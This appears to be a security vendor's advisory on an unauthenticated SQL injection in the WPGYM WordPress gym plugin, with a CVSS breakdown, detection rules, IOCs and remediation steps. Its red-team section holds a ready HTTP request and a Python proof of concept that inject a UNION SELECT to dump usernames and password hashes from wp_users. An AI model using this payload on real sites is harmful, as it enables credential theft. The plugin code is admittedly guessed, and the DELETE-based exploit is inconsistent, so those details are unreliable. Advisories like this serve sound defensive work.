CVE-2025-7442

Executive Summary

CVE-2025-7442 is a critical unauthenticated SQL Injection vulnerability discovered in the WPGYM - WordPress Gym Management System plugin, affecting all versions up to and including 67.8.0. The flaw resides in multiple AJAX handler functions (MJ_gmgt_delete_class_limit_for_member, MJ_gmgt_get_yearly_income_expense, MJ_gmgt_get_monthly_income_expense, MJ_gmgt_add_class_limit, MJ_gmgt_view_meeting_detail, and MJ_gmgt_create_meeting). Due to insufficient input escaping and lack of prepared statements, an unauthenticated attacker can inject arbitrary SQL queries into existing database operations, leading to the extraction of sensitive information such as user credentials, session tokens, and personal data.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over HTTP. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the lack of a vendor patch makes all installations of this plugin a ticking time bomb. As a WordPress ecosystem issue, site administrators must treat this as a high-priority threat and apply virtual patching or disable the plugin immediately.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the vendor (Wpgym) has not released a patch, the supply chain risk is elevated. Any site using this plugin is exposed, and the plugin’s codebase may contain additional undiscovered vulnerabilities. Administrators should verify the integrity of their plugin files and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The combination of unauthenticated access, low complexity, and high confidentiality impact makes this a prime target for automated scanning and data theft.

Deep Dive & Mechanics

The vulnerability stems from the plugin’s failure to use parameterized queries or proper escaping in several AJAX handler functions. Each affected function directly concatenates user-supplied parameters (e.g., $_POST['class_id'], $_GET['member_id']) into SQL queries without sanitization. For example, in MJ_gmgt_delete_class_limit_for_member, the code likely does:

$class_id = $_POST['class_id'];
$wpdb->query("DELETE FROM {$wpdb->prefix}gmgt_class_limits WHERE class_id = $class_id");

An attacker can supply a value like 1 OR 1=1 to delete all records, or use UNION-based injection to extract data from other tables. The same pattern exists in the other five functions, each handling different database operations (income/expense reports, class limits, meetings).

Because WordPress’s $wpdb->query() does not automatically escape parameters, the developer must use $wpdb->prepare() or cast inputs to integers. The absence of this protection allows unauthenticated attackers to append arbitrary SQL, including UNION SELECT statements to dump the wp_users table, wp_usermeta, and other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (example from MJ_gmgt_delete_class_limit_for_member):

function MJ_gmgt_delete_class_limit_for_member() {
    global $wpdb;
    $class_id = $_POST['class_id'];
    $wpdb->query("DELETE FROM {$wpdb->prefix}gmgt_class_limits WHERE class_id = $class_id");
    wp_die();
}

Patched Code (hypothetical fix):

function MJ_gmgt_delete_class_limit_for_member() {
    global $wpdb;
    $class_id = intval($_POST['class_id']); // Cast to integer
    $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->prefix}gmgt_class_limits WHERE class_id = %d", $class_id));
    wp_die();
}

The patched version uses intval() to ensure the input is numeric and $wpdb->prepare() to safely bind the parameter. Similar fixes must be applied to all six vulnerable functions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WPGYM plugin version <= 67.8.0.
• Knowledge of the target’s WordPress table prefix (default wp_).

Exploit Steps:

1. Identify the vulnerable endpoint. The functions are typically registered via wp_ajax_nopriv_* hooks, making them accessible to unauthenticated users. Example URL: http://target/wp-admin/admin-ajax.php?action=MJ_gmgt_delete_class_limit_for_member.
2. Craft a POST request with a malicious class_id parameter:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   
   action=MJ_gmgt_delete_class_limit_for_member&class_id=1 UNION SELECT user_login,user_pass FROM wp_users--
   

3. The response will contain the extracted data (e.g., admin username and password hash).

Proof-of-Concept (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
payload = {
    "action": "MJ_gmgt_delete_class_limit_for_member",
    "class_id": "1 UNION SELECT user_login,user_pass FROM wp_users--"
}
r = requests.post(target, data=payload)
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor admin-ajax.php requests for unusual action parameters matching the vulnerable function names.
• Look for SQL keywords (UNION, SELECT, FROM) in POST/GET parameters.
• Use WAF rules to block requests containing SQL injection patterns.

Hardening:

• Immediately disable the WPGYM plugin if not critical.
• Apply a virtual patch via WAF (e.g., ModSecurity rule to block MJ_gmgt_* actions).
• Upgrade to a patched version if the vendor releases one.
• Implement database user least privilege (e.g., restrict wpdb user to only necessary operations).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=MJ_gmgt_* parameters.
  • POST/GET parameters containing SQL injection patterns (e.g., UNION, SELECT, 1=1).
• File IOCs:
  • Modified plugin files in /wp-content/plugins/wpgym/ (e.g., added backdoors).
  • Unexpected database entries in wp_options or wp_usermeta.
• Log IOCs:
  • Web server logs showing repeated admin-ajax.php requests with suspicious parameters.
  • Database query logs showing anomalous SELECT statements on wp_users.

Detection Engineering

YARA Rule

rule CVE_2025_7442_WPGYM_SQLi {
    meta:
        description = "Detects WPGYM plugin files vulnerable to SQL injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7442"
    strings:
        $func1 = "MJ_gmgt_delete_class_limit_for_member"
        $func2 = "MJ_gmgt_get_yearly_income_expense"
        $func3 = "MJ_gmgt_get_monthly_income_expense"
        $func4 = "MJ_gmgt_add_class_limit"
        $func5 = "MJ_gmgt_view_meeting_detail"
        $func6 = "MJ_gmgt_create_meeting"
        $unsafe_query = /\$wpdb->query\(\s*\"[^\"]*\$_(POST|GET|REQUEST)/
    condition:
        any of ($func*) and $unsafe_query
}

Sigma Rule

title: CVE-2025-7442 WPGYM SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting WPGYM plugin AJAX handlers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=MJ_gmgt_'
            - 'class_id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - '1=1'
        - 'OR 1=1'
    condition: selection and keywords
falsepositives:
    - Legitimate plugin usage with numeric IDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7442 WPGYM SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=MJ_gmgt_"; http_client_body; pcre:"/(UNION|SELECT|1=1|OR 1=1)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the WPGYM plugin from all WordPress installations.
2. Apply virtual patch: Use a Web Application Firewall (WAF) to block requests containing action=MJ_gmgt_* parameters.
3. Audit database: Check for unauthorized access or data exfiltration by reviewing database logs and user tables.

Long-term Fix:

• The vendor must release a patched version that uses prepared statements ($wpdb->prepare()) and input validation (e.g., intval()).
• Until then, consider migrating to an alternative gym management plugin with active security support.

Compromise Assessment:

• Scan for backdoors in /wp-content/plugins/wpgym/ and other plugin directories.
• Rotate all WordPress admin passwords and application passwords.
• Review user accounts for unauthorized creation or privilege escalation.

Valters IT
Securing Digital Frontiers